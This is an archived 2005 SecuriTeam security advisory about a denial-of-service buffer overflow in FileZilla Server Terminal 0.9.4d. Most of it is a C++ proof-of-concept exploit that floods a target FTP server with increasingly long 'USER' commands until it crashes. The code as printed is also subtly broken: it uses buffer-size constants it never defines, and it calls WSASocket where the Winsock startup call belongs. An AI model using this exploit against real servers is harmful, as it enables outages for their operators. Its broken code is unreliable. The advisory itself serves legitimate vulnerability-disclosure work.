

[EXPL] FileZilla DoS Exploit (Long USER)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00019.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 11 Dec 2005 10:35:10 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

FileZilla DoS Exploit (Long USER)

SUMMARY

" <<http://filezilla.sourceforge.net/>> FileZilla Server is a reliable FTP server."

A buffer overflow with FileZilla server allow attackers to cause a DoS on the server.

DETAILS

Vulnerable Systems:

* FileZilla Server Terminal 0.9.4d

Exploit:

/*

FileZillaDoS.cpp

FileZilla Server Terminal 0.9.4d DoS PoC by Inge Henriksen.

Read the disclaimer at <http://ingehenriksen.blogspot.com> before using.

Made to work with Microsoft(R) Visual C++(R), to use link "WS2_32.lib".

*/

#include "stdafx.h"

[EXPL] FileZilla DoS Exploit (Long USER)

```
#include <iostream>
#include "Winsock2.h"

#define BUFFSIZE 10000
#define ATTACK_BUFFSIZE 5000

using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
    cout << "FileZilla Server Terminal 0.9.4d DoS PoC by Inge
Henriksen." << endl;
    cout << "Read the disclaimer at http://ingehenriksen.blogspot.com
before using." << endl;
    if (argc!=3) // Exit if wrong number of
arguments
    {
        cerr << "Error: Wrong number of arguments" << endl;
        cout << "Usage: " << argv[0] << " <Target IP> <Target
Port>" << endl;
        cout << "Example: " << argv[0] << " 192.168.2.100 21" <<
endl;
        return (-1);
    }

    in_addr IPAddressData;
    __int64 counterVal;
    char* bufferData;
    char* attackStringData;
    SOCKET sock;
    sockaddr_in sinInterface;

    WSADATA wsaData;
    int iResult = WSASocket(MAKEWORD(2, 2), &wsaData); //
Use Winsock version 2.2
    if (iResult != NO_ERROR)
    {
        cerr << "Error: WSASocket() failed" << endl;
        return(-1);
    }

    int recvRet;
    char tmpBuffer[BUFFSIZE];
    char tmpAttackBuffer[ATTACK_BUFFSIZE];
    tmpAttackBuffer[0] = 'U';
    tmpAttackBuffer[1] = 'S';
    tmpAttackBuffer[2] = 'E';
    tmpAttackBuffer[3] = 'R';
    tmpAttackBuffer[4] = ' ';

    int i;
```

[EXPL] FileZilla DoS Exploit (Long USER)

```
int j=5;
for (i=j;i<ATTACK_BUFSIZE-6;i++)
{
int k;
for(k=j;k<=i;k++)
{
tmpAttackBuffer[k] = 'A';
}
tmpAttackBuffer[k] = '\n';
tmpAttackBuffer[k+1] = '\0';

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ((int)(sock)==-1)
{
cerr << "Error: Could not create socket" << endl;
return(-1);
}

sinInterface.sin_family = AF_INET;
sinInterface.sin_addr.s_addr = inet_addr(argv[1]);
sinInterface.sin_port = htons(atoi(argv[2]));

if ((connect(sock,(sockaddr*)&sinInterface
,sizeof(sockaddr_in))!=SOCKET_ERROR))
{
int sendResult = send( sock, tmpAttackBuffer ,
(int)strlen(tmpAttackBuffer), 0);
cout << "Sent " << strlen(tmpAttackBuffer) << "
characters" << endl;
if ( sendResult != SOCKET_ERROR )
{
recvRet = SOCKET_ERROR;

for (int i=0;i<BUFSIZE;i++)
tmpBuffer[i]=(char)0;

recvRet = recv( sock, tmpBuffer ,
BUFSIZE-1, 0 );
if ( recvRet == SOCKET_ERROR )
cerr << "Error: recv() failed" <<
endl;
else
cout << "Response is: " << endl <<
tmpBuffer << endl;;
}
else
cerr << "Error: send() failed" << endl;

if (shutdown(sock,0)==SOCKET_ERROR)
cerr << "Error: shutdown() failed" <<
endl;
```

[EXPL] FileZilla DoS Exploit (Long USER)

```
}
else
cerr << "Error: connect() failed" << endl;

if (closesocket(sock)==SOCKET_ERROR)
cerr << "Error: closesocket() failed" << endl;

} // End for loop

return 0;
}

/* EoF */
```

ADDITIONAL INFORMATION

The information has been provided by

<mailto:inge.henriksen@xxxxxxxxxxxxxxxx> Inge Henriksen.

The original article can be found at:

http://ingehenriksen.blogspot.com/2005/11/filezilla-server-terminal-094d-dos-poc_21.html
http://ingehenriksen.blogspot.com/2005/11/filezilla-server-terminal-094d-dos-poc_21.html

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [***\[EXPL\] Microsoft Windows CreateRemoteThread DoS \(Exploit\)***](#)
 - Next by Date: [***\[TOOL\] AIX pwd Parser***](#)
 - Previous by thread: [***\[EXPL\] Microsoft Windows CreateRemoteThread DoS \(Exploit\)***](#)
 - Next by thread: [***\[TOOL\] AIX pwd Parser***](#)
 - Index(es):
 - ◆ [***Date***](#)
 - ◆ [***Thread***](#)